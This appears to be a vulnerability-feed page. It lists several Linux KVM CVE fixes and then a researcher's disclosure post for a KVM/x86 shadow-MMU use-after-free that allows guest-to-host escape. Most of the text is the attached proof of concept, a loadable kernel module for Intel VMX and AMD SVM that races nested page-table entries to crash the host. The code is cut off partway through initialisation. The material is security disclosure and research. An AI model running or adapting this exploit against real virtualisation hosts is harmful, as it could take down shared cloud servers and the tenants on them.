-Infinity
0

Vendor Risk Score

See how kvm compares to other vendors in security performance

View Risk Score →

In the Linux kernel, the following vulnerability has been resolved:

KVM: nVMX: Always flush vpid02 on first use

Make sure vpid02 is always flushed on first use by setting lastvpid=0 when allocating vpid02. nestedvmxtransitiontlbflush() will always detect a VPID change on first VM-Enter after VMXON, because VPID=0 in vmcs12 is not allowed if L1 enables VPID.

This avoids using stale TLB entries from a previous lifetime of the VPID, that might have been associated with a different vCPU (or a completely different VM).

Note that lastvpid is already being initialized as 0 when the vCPU is created, but it is not reset when vpid02 is freed on VMXOFF. Hence, the problem can only occur if L1 does VMXOFF -> VMXON, runs an L2, and KVM happens to reuse a VPID that has TLB entries on the physical CPU.

First published (updated )
EPSS
0.15%

In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: GICv2: Don't WARN on out-of-range GICVDIR INTID

vgicv2deactivate() passes the INTID a guest wrote to GICVDIR straight to vgicgetvcpuirq(), and treats a failed lookup as a "can't happen" condition with WARNONONCE().

The guest can make it happen at will, though: for any INTID outside of the implemented SGI, PPI and SPI ranges the lookup returns NULL, since GICv2 has no LPIs. A guest running with EOImode==1 writing such an INTID to GICVDIR triggers the WARN, and panics hosts running with paniconwarn.

Drop the WARN and ignore failed lookups.

First published (updated )
Severity
9.3
AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: nv: Inject SEA if guest VNCR isn't normal memory

When constructing an L1 VNCR mapping, KVM unconditionally uses cacheable memory attributes, even if the underlying PFN isn't memory. This gets particularly hairy if the endpoint doesn't support cacheable memory attributes, potentially throwing an SError on writeback...

While KVM does permit cacheable memory attributes on certain PFNMAP VMAs, kvmtranslatevncr() isn't currently grabbing the VMA. So do the simpler thing for now and just reject everything that isn't memory.

First published (updated )

Hi,

The embargo agreed with the maintainers of linux-distros () vs openwall org has expired, so I am posting this report.

This is a report on "Januscape (CVE-2026-53359)", a KVM escape vulnerability that lets a guest escape to the host on KVM/x86, that is, on both Intel and AMD hosts. Januscape is a use-after-free vulnerability in the shadow MMU emulation of KVM/x86. It can trigger the bug with guest-side actions alone to corrupt the host kernel's shadow page, and it can threaten the guest-host isolation of KVM/x86 hosts that accept untrusted guests and expose nested virtualization, particularly multi-tenant x86 public clouds (GCP, AWS, etc.).

Also, on distributions such as RHEL, /dev/kvm is world-writable (0666), so an unprivileged user could also use this vulnerability as a reliable LPE to gain root, though that is a minor impact compared to the host escape.

In fact, Januscape was successfully used as a 0-day exploit in Google kvmCTF.

CVE-2026-53359 was reported to security () kernel org and has been patched in mainline, and it had been latent for about 16 years: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=81ccda30b4e83d8f5cc4fd50503c44e3a33abfeb

Additionally, I am attaching a DoS PoC. For detailed information about the vulnerability and follow-up updates, please see: https://januscape.io

Best regards, Hyunwoo Kim

---

/ Guest-to-Host DoS in KVM/x86 (CVE-2026-53359) KVM x86 MMU kvmmmugetchildsp() role-mismatch shadow-page reuse -> ptelistremove() host DoS. Target: Linux x8664, KVM shadow MMU before the getchildsp() role.word reuse check. Dual-arch: insmod poc.ko = Intel VMX/EPT (default), amd=1 = AMD SVM/NPT; rmmod kvmintel/kvmamd first. Copyright (c) 2026 Hyunwoo Kim (@v4bel) /

#include <linux/module.h> #include <linux/kernel.h> #include <linux/slab.h> #include <linux/mm.h> #include <linux/kthread.h> #include <linux/cpu.h> #include <linux/delay.h> #include <linux/smp.h> #include <linux/sched.h> #include <linux/jiffies.h> #include <asm/processor.h> #include <asm/specialinsns.h> #include <asm/io.h> #include <asm/desc.h> #include <asm/segment.h> #include <asm/svm.h> #include <asm/msr-index.h> #include <linux/version.h>

/ v7.1 (1aea80dd42cf) renamed vmcb.nestedctl -> miscctl and dropped SVMNESTEDCTLNPENABLE. / #ifndef SVMNESTEDCTLNPENABLE #define SVMNESTEDCTLNPENABLE (1ULL << 0) #endif #if LINUXVERSIONCODE >= KERNELVERSION(7, 1, 0) #define VMCBNPCTL(c) ((c)->miscctl) #else #define VMCBNPCTL(c) ((c)->nestedctl) #endif

MODULELICENSE("GPL"); MODULEDESCRIPTION("KVM guest->host DoS (dual-arch: Intel VMX/EPT default, amd=1 -> AMD SVM/NPT)"); MODULEAUTHOR("Hyunwoo Kim (@v4bel)");

static int amd = 0; moduleparam(amd, int, 0444); static int nvcpu = 8; moduleparam(nvcpu, int, 0444); static int dwell = 256; moduleparam(dwell, int, 0444); static int runms = 600000; moduleparam(runms, int, 0444); static int diag = 1; moduleparam(diag, int, 0444); static int nflood = 0; moduleparam(nflood, int, 0444);

#define EPTRWX 0x7ULL #define EPTMTWB (6ULL << 3) #define EPTLEAF (EPTRWX | EPTMTWB) #define EPTTBL (EPTRWX) #define EPTPS (1ULL << 7)

#define PFP 1ULL #define PFRW 2ULL #define PFUS 4ULL #define PFPS 0x80ULL #define EFERLME 0x100ULL #define EFERLMA 0x400ULL #define EFERSVME 0x1000ULL

#define GDTG 0xC000UL #define TSSG 0xD000UL #define NPML4 0x10000UL #define NPDPT 0x11000UL #define NPD 0x12000UL #define NCODE 0x13000UL #define NCODERACE (NCODE + 0x80) #define NSTACK 0x15000UL #define HV 0x800000UL #define GVAPRIME (HV + (0x100UL << 12)) #define PDEIDX 4UL #define PRIMEIDX 0x100UL

#define MAXPG 8192 static struct page pages[MAXPG]; static u8 pord[MAXPG]; static int npg; static void track(struct page p, int order) { if (npg < MAXPG) { pages[npg] = p; pord[npg] = (u8)order; npg++; } } static void apg(u64 pa) { struct page p = allocpage(GFPKERNEL | GFPZERO); if (!p) return NULL; track(p, 0); if (pa) pa = pagetophys(p); return pageaddress(p); } static void apgorder(int order, u64 pa) { struct page p = allocpages(GFPKERNEL | GFPZERO, order); if (!p) return NULL; track(p, order); if (pa) pa = pagetophys(p); return pageaddress(p); } static void freepgs(void) { int i; for (i = 0; i < npg; i++) freepages(pages[i], pord[i]); npg = 0; }

static void lowva; static u64 lowpa; static u64 nestpml4, nestpdpt, nestpd, nestpt0, ptg; static u64 nestpdpa, nestpt0pa, ptgpa, theroot; static void gregva; static u64 gregpa; static void qva; static u64 qpa;

#define NPRESS 200 static u64 pressroot[NPRESS]; static unsigned long fcnt[NRCPUS]; #define PHASE0EVERY 8

static inline u64 rdmsr(u32 i) { u32 lo, hi; asm volatile("rdmsr" : "=a"(lo), "=d"(hi) : "c"(i)); return ((u64)hi << 32) | lo; } static inline void wrmsr(u32 i, u64 v) { asm volatile("wrmsr" ::"c"(i), "a"((u32)v), "d"((u32)(v >> 32))); } static inline u64 rdcr4(void) { u64 v; asm volatile("mov %%cr4,%0" : "=r"(v)); return v; } static inline void wrcr4(u64 v) { asm volatile("mov %0,%%cr4" ::"r"(v) : "memory"); } static inline u64 rdcr3(void) { u64 v; asm volatile("mov %%cr3,%0" : "=r"(v)); return v; }

static inline int vmxon(u64 pa) { u8 e; asm volatile("vmxon %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline void vmxoff(void) { asm volatile("vmxoff" ::: "cc"); } static inline int vmclear(u64 pa) { u8 e; asm volatile("vmclear %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline int vmptrld(u64 pa) { u8 e; asm volatile("vmptrld %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline int vmwrite(u64 f, u64 v) { u8 e; asm volatile("vmwrite %2,%1; setna %0" : "=r"(e) : "r"(f), "r"(v) : "cc"); return e; } static inline u64 vmread(u64 f) { u64 v; asm volatile("vmread %1,%0" : "=r"(v) : "r"(f) : "cc"); return v; } static u32 adj(u32 msr, u32 want) { u64 m = rdmsr(msr); return (u32)(((want | (u32)m) & (u32)(m >> 32))); }

enum { MSRBITMAP = 0x2004, EPTPOINTER = 0x201a, VMCSLINKPOINTER = 0x2800, GUESTIA32EFER = 0x2806, HIA32EFER = 0x2c02, PINBASED = 0x4000, CPUBASED = 0x4002, EXCEPTIONBITMAP = 0x4004, PFECMASK = 0x4006, PFECMATCH = 0x4008, CR3TGTCNT = 0x400a, VMEXITCTL = 0x400c, VMEXITMSRSTORE = 0x400e, VMEXITMSRLOAD = 0x4010, VMENTRYCTL = 0x4012, VMENTRYMSRLOAD = 0x4014, VMENTRYINTR = 0x4016, TPRTHRESHOLD = 0x401c, SECEXEC = 0x401e, GESSEL = 0x800, GCSSEL = 0x802, GSSSEL = 0x804, GDSSEL = 0x806, GFSSEL = 0x808, GGSSEL = 0x80a, GLDTRSEL = 0x80c, GTRSEL = 0x80e, HESSEL = 0xc00, HCSSEL = 0xc02, HSSSEL = 0xc04, HDSSEL = 0xc06, HFSSEL = 0xc08, HGSSEL = 0xc0a, HTRSEL = 0xc0c, GESLIM = 0x4800, GCSLIM = 0x4802, GSSLIM = 0x4804, GDSLIM = 0x4806, GFSLIM = 0x4808, GGSLIM = 0x480a, GLDTRLIM = 0x480c, GTRLIM = 0x480e, GGDTRLIM = 0x4810, GIDTRLIM = 0x4812, GESAR = 0x4814, GCSAR = 0x4816, GSSAR = 0x4818, GDSAR = 0x481a, GFSAR = 0x481c, GGSAR = 0x481e, GLDTRAR = 0x4820, GTRAR = 0x4822, GINTRINFO = 0x4824, GACTIVITY = 0x4826, GSYSENTERCS = 0x482a, HSYSENTERCS = 0x4c00, CR0MASK = 0x6000, CR4MASK = 0x6002, CR0SHADOW = 0x6004, CR4SHADOW = 0x6006, GCR0 = 0x6800, GCR3 = 0x6802, GCR4 = 0x6804, GESBASE = 0x6806, GCSBASE = 0x6808, GSSBASE = 0x680a, GDSBASE = 0x680c, GFSBASE = 0x680e, GGSBASE = 0x6810, GLDTRBASE = 0x6812, GTRBASE = 0x6814, GGDTRBASE = 0x6816, GIDTRBASE = 0x6818, GDR7 = 0x681a, GRSP = 0x681c, GRIP = 0x681e, GRFLAGS = 0x6820, GPENDDBG = 0x6822, GSYSENTERESP = 0x6824, GSYSENTEREIP = 0x6826, HCR0 = 0x6c00, HCR3 = 0x6c02, HCR4 = 0x6c04, HFSBASE = 0x6c06, HGSBASE = 0x6c08, HTRBASE = 0x6c0a, HGDTRBASE = 0x6c0c, HIDTRBASE = 0x6c0e, HSYSENTERESP = 0x6c10, HSYSENTEREIP = 0x6c12, HRSP = 0x6c14, HRIP = 0x6c16 }; #define CPUUSEMSRBMP 0x10000000u #define CPUSECCTLS 0x80000000u #define SECEPT 0x2u #define EXITHOSTADDR 0x200u #define EXITLOADEFER 0x200000u #define ENTRYIA32E 0x200u #define ENTRYLOADEFER 0x8000u

static u64 vmxonpa[NRCPUS], vmcspa[NRCPUS], hoststk[NRCPUS]; static u64 svmguestpa[NRCPUS], svmhostpa[NRCPUS], svmhsavepa[NRCPUS]; static struct vmcb svmguest[NRCPUS]; static u64 msrbmppa, iopmpa, msrpmpa; static volatile int writerready = 0, stopall = 0; static volatile unsigned long raceloops = 0, floodloops = 0, svmexits = 0; static volatile unsigned long svmecvmmcall = 0, svmecnpf = 0, svmechlt = 0, svmecerr = 0, svmecother = 0; static volatile int saw4141 = 0, sawerr = 0; static struct taskstruct threads[NRCPUS]; static int roleof[NRCPUS]; #define RWRITER 0 #define RFLOOD 1 #define RFAULT 2

struct virtops { const char name; int (cpuon)(int cpu); void (cpuoff)(void); u64 (hugepte)(u64 pa); u64 (tblpte)(u64 pa); u64 (leaf4k)(u64 pa); u64 (mkroot)(u64 pml4pa); int (vcpurun)(int cpu); }; static struct virtops ops;

static u64 nextgrip(int cpu) { unsigned long r = fcnt[cpu]++; syncfetchandadd(&raceloops, 1); return ((r % PHASE0EVERY) == 0) ? NCODE : NCODERACE; }

static void wrimm64(u8 p, u64 v) { int i; for (i = 0; i < 8; i++) p[i] = (u8)(v >> (8 i)); }

static u8 ncode[] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0x48, 0x8b, 0x00, 0x0f, 0x01, 0xc1, 0xf4 };

static u64 vmxhugepte(u64 pa) { return pa | EPTLEAF | EPTPS; } static u64 vmxtblpte(u64 pa) { return pa | EPTTBL; } static u64 vmxleaf4k(u64 pa) { return pa | EPTLEAF; } static u64 vmxmkroot(u64 pml4) { return pml4 | 0x1eULL; }

asmlinkage long vmexitdispatch(void) { int cpu = rawsmpprocessorid(); if (stopall) return 1; if (roleof[cpu] == RFLOOD) { unsigned long r = syncfetchandadd(&floodloops, 1); vmwrite(EPTPOINTER, pressroot[r % NPRESS]); vmwrite(GRIP, NCODE); vmwrite(GRSP, NSTACK); vmwrite(GRFLAGS, 2); return 0; } { u64 rip = nextgrip(cpu); vmwrite(GRIP, rip); vmwrite(GRSP, NSTACK); vmwrite(GRFLAGS, 2); } return 0; }

static noinline void runguest(void) { asm volatile( " push %%rbp\n push %%rbx\n push %%r12\n push %%r13\n push %%r14\n push %%r15\n" " mov $0x6c14, %%rdx\n vmwrite %%rsp, %%rdx\n" " lea 1f(%%rip), %%rax\n mov $0x6c16, %%rdx\n vmwrite %%rax, %%rdx\n" " vmlaunch\n jmp 3f\n" "1: call vmexitdispatch\n test %%rax, %%rax\n jnz 2f\n vmresume\n" "3:\n" "2: pop %%r15\n pop %%r14\n pop %%r13\n pop %%r12\n pop %%rbx\n pop %%rbp\n" :: : "rax", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11", "memory", "cc"); }

static void sethoststate(int cpu) { struct descptr gdt, idt; u16 tr; u64 trbase = 0; asm volatile("sgdt %0" : "=m"(gdt)); asm volatile("sidt %0" : "=m"(idt)); asm volatile("str %0" : "=m"(tr)); if (tr) { struct descstruct d = (struct descstruct )(gdt.address + (tr & ~7)); trbase = getdescbase(d); #ifdef CONFIGX8664 trbase |= ((u64)((struct ldttssdesc )d)->base3) << 32; #endif } vmwrite(HCR0, readcr0()); vmwrite(HCR3, rdcr3()); vmwrite(HCR4, rdcr4()); vmwrite(HCSSEL, KERNELCS); vmwrite(HSSSEL, KERNELDS); vmwrite(HDSSEL, KERNELDS); vmwrite(HESSEL, KERNELDS); vmwrite(HFSSEL, 0); vmwrite(HGSSEL, 0); vmwrite(HTRSEL, tr); vmwrite(HGDTRBASE, gdt.address); vmwrite(HIDTRBASE, idt.address); vmwrite(HTRBASE, trbase); vmwrite(HFSBASE, rdmsr(0xc0000100)); vmwrite(HGSBASE, rdmsr(0xc0000101)); vmwrite(HIA32EFER, rdmsr(0xc0000080)); vmwrite(HSYSENTERCS, 0); vmwrite(HSYSENTERESP, 0); vmwrite(HSYSENTEREIP, 0); vmwrite(HRSP, 0); vmwrite(HRIP, 0); }

static int vmxcpuon(int cpu) { u64 cr4 = rdcr4(), fc, pa; void v; wrcr4(cr4 | (1ULL << 13)); fc = rdmsr(0x3a); if (!(fc & 1)) wrmsr(0x3a, fc | 0x5); v = apg(&pa); if (!v) return -1; (u32 )v = (u32)rdmsr(0x480); vmxonpa[cpu] = pa; if (vmxon(pa)) { prerr("poc: vmxon fail cpu%d\n", cpu); return -1; } return 0; } static void vmxcpuoff(void) { vmxoff(); }

static int vmxvcpurun(int cpu) { u64 pa, ncr0, ncr4, gefer = 0x500; void v; u32 pin, proc, sec, exitc, entryc; v = apg(&pa); if (!v) return -1; (u32 )v = (u32)rdmsr(0x480); vmcspa[cpu] = pa; if (vmclear(pa) || vmptrld(pa)) { prerr("poc: vmclear/ptrld fail cpu%d\n", cpu); return -1; } ncr0 = (0x80050033ULL | rdmsr(0x486)) & rdmsr(0x487); ncr4 = (0x2000ULL | 0x20ULL | rdmsr(0x488)) & rdmsr(0x489); pin = adj(0x48d, 0); proc = adj(0x48e, CPUUSEMSRBMP | CPUSECCTLS); sec = adj(0x48b, SECEPT); exitc = adj(0x483, EXITHOSTADDR | EXITLOADEFER); entryc = adj(0x484, ENTRYIA32E | ENTRYLOADEFER); if (!(proc & CPUSECCTLS) || !(sec & SECEPT)) { prerr("poc: NO EPT ctl cpu%d\n", cpu); return -1; } vmwrite(PINBASED, pin); vmwrite(CPUBASED, proc); vmwrite(SECEXEC, sec); vmwrite(EPTPOINTER, theroot); vmwrite(EXCEPTIONBITMAP, 0); vmwrite(PFECMASK, 0); vmwrite(PFECMATCH, 0xffffffff); vmwrite(CR3TGTCNT, 0); vmwrite(VMEXITCTL, exitc); vmwrite(VMEXITMSRSTORE, 0); vmwrite(VMEXITMSRLOAD, 0); vmwrite(VMENTRYCTL, entryc); vmwrite(VMENTRYMSRLOAD, 0); vmwrite(VMENTRYINTR, 0); vmwrite(TPRTHRESHOLD, 0); vmwrite(CR0MASK, 0); vmwrite(CR4MASK, 0); vmwrite(CR0SHADOW, ncr0); vmwrite(CR4SHADOW, ncr4); vmwrite(MSRBITMAP, msrbmppa); sethoststate(cpu); vmwrite(GESSEL, 0x10); vmwrite(GCSSEL, 0x8); vmwrite(GSSSEL, 0x10); vmwrite(GDSSEL, 0x10); vmwrite(GFSSEL, 0x10); vmwrite(GGSSEL, 0x10); vmwrite(GLDTRSEL, 0); vmwrite(GTRSEL, 0x18); vmwrite(VMCSLINKPOINTER, ~0ULL); vmwrite(GUESTIA32EFER, gefer); vmwrite(GESLIM, 0xffffffff); vmwrite(GCSLIM, 0xffffffff); vmwrite(GSSLIM, 0xffffffff); vmwrite(GDSLIM, 0xffffffff); vmwrite(GFSLIM, 0xffffffff); vmwrite(GGSLIM, 0xffffffff); vmwrite(GLDTRLIM, 0xffffffff); vmwrite(GTRLIM, 0x67); vmwrite(GGDTRLIM, 0xffff); vmwrite(GIDTRLIM, 0xffff); vmwrite(GESAR, 0xc093); vmwrite(GCSAR, 0xa09b); vmwrite(GSSAR, 0xc093); vmwrite(GDSAR, 0xc093); vmwrite(GFSAR, 0xc093); vmwrite(GGSAR, 0xc093); vmwrite(GLDTRAR, 0x10000); vmwrite(GTRAR, 0x8b); vmwrite(GINTRINFO, 0); vmwrite(GACTIVITY, 0); vmwrite(GSYSENTERCS, 0); vmwrite(GCR0, ncr0); vmwrite(GCR3, NPML4); vmwrite(GCR4, ncr4); vmwrite(GESBASE, 0); vmwrite(GCSBASE, 0); vmwrite(GSSBASE, 0); vmwrite(GDSBASE, 0); vmwrite(GFSBASE, 0); vmwrite(GGSBASE, 0); vmwrite(GLDTRBASE, 0); vmwrite(GTRBASE, TSSG); vmwrite(GGDTRBASE, GDTG); vmwrite(GIDTRBASE, 0); vmwrite(GDR7, 0x400); vmwrite(GRSP, NSTACK); vmwrite(GRIP, NCODE); vmwrite(GRFLAGS, 2); vmwrite(GPENDDBG, 0); vmwrite(GSYSENTERESP, 0); vmwrite(GSYSENTEREIP, 0); if (roleof[cpu] == RFLOOD) vmwrite(EPTPOINTER, pressroot[0]); while (!writerready && !stopall) cpurelax(); runguest(); if (!stopall) prerr("poc: runguest RETURNED early cpu%d vmerr=%llx exit=%llx\n", cpu, vmread(0x4400), vmread(0x4402)); vmclear(vmcspa[cpu]); return 0; } static struct virtops vmxops = { .name = "VMX/EPT", .cpuon = vmxcpuon, .cpuoff = vmxcpuoff, .hugepte = vmxhugepte, .tblpte = vmxtblpte, .leaf4k = vmxleaf4k, .mkroot = vmxmkroot, .vcpurun = vmxvcpurun, };

static u64 svmhugepte(u64 pa) { return pa | PFP | PFRW | PFUS | PFPS; } static u64 svmtblpte(u64 pa) { return pa | PFP | PFRW | PFUS; } static u64 svmleaf4k(u64 pa) { return pa | PFP | PFRW | PFUS; } static u64 svmmkroot(u64 pml4) { return pml4; }

static inline u16 svmattr(u32 vmxar) { return (u16)((vmxar & 0xff) | ((vmxar >> 4) & 0xf00)); }

static int svmcpuon(int cpu) { u64 efer, vh, vmcbg, vmcbh; void p; efer = rdmsr(MSREFER); wrmsr(MSREFER, efer | EFERSVME); p = apg(&vh); if (!p) return -1; svmhsavepa[cpu] = vh; wrmsr(MSRVMHSAVEPA, vh); p = apg(&vmcbh); if (!p) return -1; svmhostpa[cpu] = vmcbh; svmguest[cpu] = apg(&vmcbg); if (!svmguest[cpu]) return -1; svmguestpa[cpu] = vmcbg; return 0; } static void svmcpuoff(void) { u64 e = rdmsr(MSREFER); wrmsr(MSREFER, e & ~EFERSVME); }

/ one VMRUN of the L3; host segs vmsave/vmload'd around it. gpa/hpa via memory operands so they survive the guest clobbering GPRs; VMRUN auto-saves host RSP/RIP/RAX via VMHSAVEPA. / static noinline void svmdovmrun(u64 gpa, u64 hpa) { u64 g = gpa, h = hpa; asm volatile(" clgi\n" " mov %1, %%rax\n vmsave\n" " mov %0, %%rax\n vmload\n" " vmrun\n" " mov %0, %%rax\n vmsave\n" " mov %1, %%rax\n vmload\n" " stgi\n" : "+m"(g), "+m"(h) : : "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11", "memory", "cc"); }

static void svmseg(struct vmcbseg s, u16 sel, u32 vmxar, u32 lim, u64 base) { s->selector = sel; s->attrib = svmattr(vmxar); s->limit = lim; s->base = base; }

static int svmvcpurun(int cpu) { struct vmcb gv = svmguest[cpu]; struct vmcbcontrolarea c = &gv->control; struct vmcbsavearea s = &gv->save; int first = 1; memset(gv, 0, sizeof(gv));

c->intercepts[INTERCEPTVMRUN / 32] |= 1u << (INTERCEPTVMRUN % 32); c->intercepts[INTERCEPTVMMCALL / 32] |= 1u << (INTERCEPTVMMCALL % 32); c->intercepts[INTERCEPTHLT / 32] |= 1u << (INTERCEPTHLT % 32); c->asid = 1; VMCBNPCTL(c) = SVMNESTEDCTLNPENABLE; c->nestedcr3 = theroot; c->iopmbasepa = iopmpa; c->msrpmbasepa = msrpmpa; c->clean = 0;

s->efer = EFERSVME | EFERLME | EFERLMA; s->cr0 = 0x80050033ULL; s->cr3 = NPML4; s->cr4 = 0x20ULL; s->rflags = 2; s->rip = NCODE; s->rsp = NSTACK; s->rax = 0; s->dr7 = 0x400; s->gpat = 0x0007040600070406ULL; svmseg(&s->cs, 0x08, 0xa09b, 0xffffffff, 0); svmseg(&s->ss, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->ds, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->es, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->fs, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->gs, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->tr, 0x18, 0x008b, 0x67, TSSG); svmseg(&s->ldtr, 0, 0, 0, 0); svmseg(&s->gdtr, 0, 0, 0xffff, GDTG); svmseg(&s->idtr, 0, 0, 0xffff, 0);

while (!writerready && !stopall) cpurelax(); while (!stopall) { u64 rip = nextgrip(cpu); s->rip = rip; s->rsp = NSTACK; s->rflags = 2; s->rax = 0; c->clean = 0; svmdovmrun(svmguestpa[cpu], svmhostpa[cpu]); { u32 ec = c->exitcode; u64 rax = s->rax; syncfetchandadd(&svmexits, 1); if (ec == 0x81) syncfetchandadd(&svmecvmmcall, 1); else if (ec == 0x400) syncfetchandadd(&svmecnpf, 1); else if (ec == 0x78) syncfetchandadd(&svmechlt, 1); else if (ec == 0xffffffff) syncfetchandadd(&svmecerr, 1); else syncfetchandadd(&svmecother, 1); if (first && diag) { prinfo("poc[SVM]: first vmexit cpu%d exitcode=0x%x info1=%llx info2=%llx rip=%llx rax=%llx (NPF=0x400 VMMCALL=0x81 HLT=0x78 ERR=0xffffffff)\n", cpu, ec, c->exitinfo1, c->exitinfo2, rip, rax); first = 0; } if (diag >= 2) { if (rax == 0x4141414141414141ULL && !synclocktestandset(&saw4141, 1)) prinfo("poc[SVM]: cpu%d rip=%llx rax=0x4141..\n", cpu, rip, rax); if (ec == 0xffffffff && !synclocktestandset(&sawerr, 1)) prerr("poc[SVM]: cpu%d exitcode=-1 info1=%llx\n", cpu, c->exitinfo1); if ((svmecvmmcall % 50000) == 0 && ec == 0x81) prinfo("poc[SVM] hist cpu%d: vmmcall=%lu npf=%lu hlt=%lu ERR=%lu other=%lu saw4141=%d nestpd[%lu]=%llx\n", cpu, svmecvmmcall, svmecnpf, svmechlt, svmecerr, svmecother, saw4141, PDEIDX, nestpd[PDEIDX]); } } } if (diag) prinfo("poc[SVM] FINAL cpu%d: vmmcall=%lu npf=%lu hlt=%lu ERR=%lu other=%lu sawNPTread4141=%d\n", cpu, svmecvmmcall, svmecnpf, svmechlt, svmecerr, svmecother, saw4141); return 0; } static struct virtops svmops = { .name = "SVM/NPT", .cpuon = svmcpuon, .cpuoff = svmcpuoff, .hugepte = svmhugepte, .tblpte = svmtblpte, .leaf4k = svmleaf4k, .mkroot = svmmkroot, .vcpurun = svmvcpurun, };

static int buildworld(void) { int i; u64 npd; u8 lb; lowva = apgorder(9, &lowpa); if (!lowva) return -1; lb = lowva; gregva = apgorder(9, &gregpa); if (!gregva) return -1; qva = apg(&qpa); if (!qva) return -1; for (i = 0; i < 512; i++) ((u64 )qva)[i] = 0x4141414141414141ULL;

{ u64 a; nestpml4 = apg(&a); if (!nestpml4) return -1; theroot = ops->mkroot(a); nestpdpt = apg(&a); if (!nestpdpt) return -1; nestpml4[0] = ops->tblpte(a); nestpd = apg(&nestpdpa); if (!nestpd) return -1; nestpdpt[0] = ops->tblpte(nestpdpa); nestpt0 = apg(&nestpt0pa); if (!nestpt0) return -1; nestpd[0] = ops->tblpte(nestpt0pa); }

/ ptg (the nested PT page) IS greg's first page -> tablegfn == S->gfn == G; gfn matches while role mismatches (q stays a separate page). / ptg = (u64 )gregva; ptgpa = gregpa; for (i = 0; i < 512; i++) nestpt0[i] = ops->leaf4k(lowpa + (u64)i 0x1000); nestpd[PDEIDX] = ops->hugepte(gregpa); for (i = 0; i < 512; i++) ptg[i] = 0; ptg[0] = ops->leaf4k(gregpa); ptg[PRIMEIDX] = ops->leaf4k(qpa);

npd = (u64 )(lb + NPD); (u64 )(lb + NPML4) = NPDPT | PFP | PFRW | PFUS; (u64 )(lb + NPDPT) = NPD | PFP | PFRW | PFUS; npd[0] = 0x0 | PFP | PFRW | PFUS | PFPS; npd[PDEIDX] = HV | PFP | PFRW | PFUS | PFPS; memcpy(lb + NCODE, ncode, sizeof(ncode)); wrimm64(lb + NCODE + 2, HV); memcpy(lb + NCODERACE, ncode, sizeof(ncode)); wrimm64(lb + NCODERACE + 2, GVAPRIME); (u64 )(lb + GDTG + 0x00) = 0; (u64 )(lb + GDTG + 0x08) = 0x00AF9B000000FFFFULL; (u64 )(lb + GDTG + 0x10) = 0x00CF93000000FFFFULL; (u64 )(lb + GDTG + 0x18) = 0x00008900D0000067ULL; (u64 )(lb + GDTG + 0x20) = 0;

if (!amd) for (i = 0; i < NPRESS; i++) { u64 a; u64 pm = apg(&a), pp, pdp, p0, pt; u64 ppa, pda, pt0a, ptta; int j; pp = apg(&ppa); if (!pm || !pp) break; pm[0] = ppa | EPTTBL; pdp = apg(&pda); if (!pdp) break; pp[0] = pda | EPTTBL; p0 = apg(&pt0a); pt = apg(&ptta); if (!p0 || !pt) break; pdp[0] = pt0a | EPTTBL; pdp[PDEIDX] = ptta | EPTTBL; for (j = 0; j < 512; j++) { p0[j] = (lowpa + (u64)j 0x1000) | EPTLEAF; pt[j] = (gregpa + (u64)j 0x1000) | EPTLEAF; } pressroot[i] = a | 0x1eULL; } prinfo("poc[%s]: world built root=%llx greg=%llx q=%llx (S.gfn=%llx primegfn=%llx qgfn=%llx)\n", ops->name, theroot, gregpa, qpa, gregpa >> 12, (gregpa >> 12) + PRIMEIDX, qpa >> 12); return 0; }

static void parkuntilstop(void) { while (!kthreadshouldstop()) msleep(50); }

static int kthr(void arg) { int cpu = (int)(long)arg; if (ops->cpuon(cpu) == 0) { if (roleof[cpu] == RWRITER) { unsigned long w = 0; unsigned long deadline = jiffies + msecstojiffies(runms); writerready = 1; prinfo("poc[%s]: writer live cpu%d dwell=%d runms=%d\n", ops->name, cpu, dwell, runms); while (!stopall) { volatile int k; nestpd[PDEIDX] = ops->hugepte(gregpa); for (k = 0; k < dwell; k++) cpurelax(); nestpd[PDEIDX] = ops->tblpte(ptgpa); for (k = 0; k < dwell; k++) cpurelax(); if (((++w) & 0x3ff) == 0 && runms > 0 && timeafter(jiffies, deadline)) { prinfo("poc[%s]: writer deadline (writes=%lu race=%lu svmexits=%lu) -> stop\n", ops->name, w, raceloops, svmexits); stopall = 1; break; } if ((w % 2000000) == 0) prinfo("poc[%s]: writes=%lu race=%lu svmexits=%lu\n", ops->name, w, raceloops, svmexits); } } else { ops->vcpurun(cpu); } ops->cpuoff(); } parkuntilstop(); return 0; }

static int virtsupported(int wantamd) { u32 a, b, c, d; if (wantamd) { a = 0x80000001; asm volatile("cpuid" : "=a"(a), "=b"(b), "=c"(c), "=d"(d) : "0"(a), "2"(0)); return !!(c & (1u << 2)); } a = 1; asm volatile("cpuid" : "=a"(a), "=b"(b), "=c"(c), "=d"(d) : "0"(a), "2"(0)); return !!(c & (1u << 5)); }

static int init minit(void) { int cpu, online = numonlinecpus(), used; void bmp; ops = amd ? &svmops : &vmxops; prinfo("poc: backend=%s (amd=%d) nvcpu=%d online=%d runms=%d [rmmod %s first!]\n", ops->name, amd, nvcpu, online, runms, amd ? "kvmamd" : "kvmintel"); if (!virtsupported(amd)) { prerr("poc: CPU lacks %s -> abort (use %s, or run on matching host)\n", amd ? "SVM" : "VMX", amd ? "amd=0 on Intel" : "amd=1 on AMD"); return -ENODEV; } prinfo("[] poc step 1/4: backend=%s ready (rmmod %s done)\n", ops->name, amd ? "kvmamd" : "kvmintel"); if (amd) { ncode[13] = 0x0f; ncode[14] = 0x01; ncode[15] = 0xd9; } if (diag) { if (!amd) prinfo("poc: DIAG VMX BASIC=%llx EPTVPID=%llx\n", rdmsr(0x480), rdmsr(0x48c)); else prinfo("poc: DIAG SVM EFER=%llx VMCR=%llx\n", rdmsr(MSREFER), rdmsr(0xc0010114)); } if (buildworld()) { prerr("poc: build fail\n"); 